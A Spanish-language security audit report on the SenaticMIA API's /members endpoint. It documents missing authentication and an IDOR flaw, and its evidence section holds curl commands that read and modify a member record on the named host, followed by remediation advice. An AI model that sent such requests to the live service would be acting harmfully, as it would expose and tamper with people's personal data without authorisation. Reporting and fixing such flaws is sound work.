Informe de Auditoría de Seguridad - API SenaticMIA

Severidad

Crítica – La vulnerabilidad permite acceso completo a información sensible, además de modi cación y eliminación de registros sin autenticación. Representa un riesgo legal, operativo y reputacional extremadamente alto y requiere atención inmediata.

Alcance

- Endpoint auditado: `/members`
- Tipo de pruebas: enumeración de usuarios, modi cación y eliminación de registros
- Periodo de pruebas: 2025-11-15

Hallazgo 1: Control de Acceso Inexistente

Descripción:
La API permite consultar, modi car y eliminar cualquier usuario simplemente usando el ID. No existe autenticación ni control de permisos.

Impacto:

- Acceso completo a información personal cédula, email, evaluaciones).
- Posible eliminación o modi cación de registros.
- Riesgo legal y reputacional crítico.

Evidencia :

```
curl -s -X GET "https://api.senaticmia.com/members/77777778" | jq .

{
  "status": 200,
  "message": "Member(s) retrieved successfully",
  "content": {
    "entities": [
      {
        "name": "Usuario Modificado",
        "created_at": "2025-11-13T20:05:04.997575",
        "row_number": 28461,
        "cedula": "77777778",
        "cedula_leader": "77777778",
        "email": "modificado@correo.com",
        "updated_at": "2025-11-13T20:05:06.587217",
        ```


```bash
curl -X PUT "https://api.senaticmia.com/members/77777778" \
  -H "Content-Type: application/json" \
                                        /
```

```
  -d '{
        "name": "Usuario Modificado",
        "email": "modificado@correo.com",
        "cedula": "77777779",
        "cedula_leader": "77777778",
        "attempts": 2,
        "time": 25,
        "is_completed": false
      }'
{"status":200,"message":"Member updated successfully","content":
{"name":"Usuario Modificado","created_at":"2025-11-
13T20:05:04.997575","row_number":28461,"cedula":"77777778","cedula_leader":
"77777778","email":"modificado@correo.com","updated_at":"2025-11-
13T20:05:06.587217"}}
```

Recomendaciones de Seguridad

Para mitigar la vulnerabilidad crítica de control de acceso en los endpoints de usuarios, se recomienda implementar las siguientes medidas:

1. **Autenticación obligatoria:**
   Todos los endpoints que acceden o modi can datos de usuarios deben requerir credenciales válidas.

2. **Control de acceso basado en roles (RBAC):**
   - De nir roles claros (administrador, instructor, usuario, etc.).
   - Validar permisos en cada operación (GET, PUT, DELETE).
   - Asegurarse de que solo usuarios autorizados puedan acceder o modi car registros.

3. **Validación de IDs y entradas:**
   - No permitir que los usuarios manipulen identi cadores de otros usuarios.
   - Saneamiento y validación estricta de todos los datos recibidos en la API.

4. **Registro de actividad (Audit Logging):**
   - Registrar todas las acciones realizadas sobre usuarios (consulta, modi cación, eliminación).
   - Mantener logs seguros e inmutables para auditorías futuras.

5. **Limitación de exposición de datos sensibles:**
   - Evitar exponer campos críticos como cédulas, emails o historiales completos si no son necesarios para la operación.
   - Restringir la información que devuelve la API según el rol del usuario.

6. **Pruebas periódicas de seguridad:**
   - Realizar auditorías internas y externas periódicas para detectar posibles IDOR, fuga de datos o endpoints sin protección.
   - Actualizar la API y dependencias para prevenir vulnerabilidades conocidas.

> Nota: Todas las recomendaciones deben aplicarse primero en un entorno de prueba antes de pasar a producción para evitar corrupción de datos.